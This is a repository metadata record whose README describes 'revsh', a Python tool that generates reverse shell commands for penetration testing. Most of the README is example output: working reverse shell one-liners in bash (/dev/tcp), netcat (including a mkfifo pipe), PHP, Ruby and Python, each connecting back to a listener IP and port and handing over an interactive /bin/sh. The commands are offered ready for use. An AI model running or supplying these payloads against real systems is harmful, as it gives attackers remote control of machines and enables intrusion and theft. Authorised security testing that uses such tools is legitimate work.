{"id":18985170,"url":"https://github.com/potatomaster101/revsh","last_synced_at":"2025-11-10T22:06:25.068Z","repository":{"id":115197858,"uuid":"177281592","full_name":"PotatoMaster101/revsh","owner":"PotatoMaster101","description":"Reverse shell command generator","archived":false,"fork":false,"pushed_at":"2021-04-06T07:04:59.000Z","size":3,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-01-01T12:29:27.859Z","etag":null,"topics":["mit-license","python3","reverse-shell-generator"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/PotatoMaster101.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-03-23T11:39:58.000Z","updated_at":"2021-04-06T07:05:02.000Z","dependencies_parsed_at":null,"dependency_job_id":"d1dffa81-57c6-443d-8227-bc573d66b256","html_url":"https://github.com/PotatoMaster101/revsh","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PotatoMaster101%2Frevsh","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PotatoMaster101%2Frevsh/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PotatoMaster101%2Frevsh/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PotatoMaster101%2Frevsh/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PotatoMaster101","download_url":"https://codeload.github.com/PotatoMaster101/revsh/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":239993961,"owners_count":19730779,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["mit-license","python3","reverse-shell-generator"],"created_at":"2024-11-08T16:24:57.690Z","updated_at":"2025-11-10T22:06:25.035Z","avatar_url":"https://github.com/PotatoMaster101.png","language":"Python","readme":"# Reverse Shell Generator\nGenerates reverse shell commands and substitutes the IP address automatically. All commands are from [pentestmonkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).\n\n# Setup\nRequires the [`netifaces`](https://github.com/al45tair/netifaces) package:\n```\n$ pip3 install -r requirements.txt\n```\n\n# Usage\n```\n$ python3 revsh.py [-h] [-p PORT] [-c CHOOSE [CHOOSE ...]] [iface]\n```\nBy default, this script will automatically choose the first non-loopback network interface if no interface is specified. If an interface is specified, then the specified interface will be used. However, if the specified interface is invalid (invalid name or no IP assigned), then a valid interface will be chosen and used instead.\n\n# Example\nAuto choose an interface:\n```\n$ python3 revsh.py\nbash -i \u003e\u0026 /dev/tcp/192.168.1.3/9999 0\u003e\u00261\nbash -c 'bash -i \u003e\u0026 /dev/tcp/192.168.1.3/9999 0\u003e\u00261'\nnc -e /bin/sh 192.168.1.3 9999\nrm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2\u003e\u00261|nc 192.168.1.3 9999 \u003e/tmp/ff\nphp -r '$sock=fsockopen(\"192.168.1.3\",9999);exec(\"/bin/sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\");'\nruby -rsocket -e'f=TCPSocket.open(\"192.168.1.3\",9999).to_i;exec sprintf(\"/bin/sh -i \u003c\u0026%%d \u003e\u0026%%d 2\u003e\u0026%%d\",f,f,f)'\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.3\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n\nUse a custom port instead of 9999:\n```\n$ python3 revsh.py -p 1234\nbash -i \u003e\u0026 /dev/tcp/192.168.1.3/1234 0\u003e\u00261\nbash -c 'bash -i \u003e\u0026 /dev/tcp/192.168.1.3/1234 0\u003e\u00261'\nnc -e /bin/sh 192.168.1.3 1234\nrm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2\u003e\u00261|nc 192.168.1.3 1234 \u003e/tmp/ff\nphp -r '$sock=fsockopen(\"192.168.1.3\",1234);exec(\"/bin/sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\");'\nruby -rsocket -e'f=TCPSocket.open(\"192.168.1.3\",1234).to_i;exec sprintf(\"/bin/sh -i \u003c\u0026%%d \u003e\u0026%%d 2\u003e\u0026%%d\",f,f,f)'\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.3\",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n\nUse a custom interface:\n```\n$ python3 revsh.py tun0\nbash -i \u003e\u0026 /dev/tcp/192.168.2.2/9999 0\u003e\u00261\nbash -c 'bash -i \u003e\u0026 /dev/tcp/192.168.2.2/9999 0\u003e\u00261'\nnc -e /bin/sh 192.168.2.2 9999\nrm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2\u003e\u00261|nc 192.168.2.2 9999 \u003e/tmp/ff\nphp -r '$sock=fsockopen(\"192.168.2.2\",9999);exec(\"/bin/sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\");'\nruby -rsocket -e'f=TCPSocket.open(\"192.168.2.2\",9999).to_i;exec sprintf(\"/bin/sh -i \u003c\u0026%%d \u003e\u0026%%d 2\u003e\u0026%%d\",f,f,f)'\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.2\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n\nOnly output `bash` and `nc` commands (the valid commands are `bash`, `nc`, `php`, `ruby`, `python`):\n```\n$ python3 revsh.py -c bash nc\nbash -i \u003e\u0026 /dev/tcp/192.168.174.131/9999 0\u003e\u00261\nbash -c 'bash -i \u003e\u0026 /dev/tcp/192.168.174.131/9999 0\u003e\u00261'\nnc -e /bin/sh 192.168.174.131 9999\nrm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2\u003e\u00261|nc 192.168.174.131 9999 \u003e/tmp/ff\n```\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpotatomaster101%2Frevsh","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpotatomaster101%2Frevsh","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpotatomaster101%2Frevsh/lists"}